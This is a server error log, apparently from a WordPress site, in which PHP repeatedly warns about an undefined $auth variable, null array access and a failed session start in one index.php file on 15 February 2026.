[15-Feb-2026 05:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:12:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:12:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:13 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:13:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:13:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:13:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:40 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:13:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:13:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:13:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:13:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:13:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:15:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:15:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:15:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:15:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:19:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:19:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:19:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:19:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:19:55 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:19:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:19:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:20:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:20:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:20:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:20:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:20:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:21:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:21:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
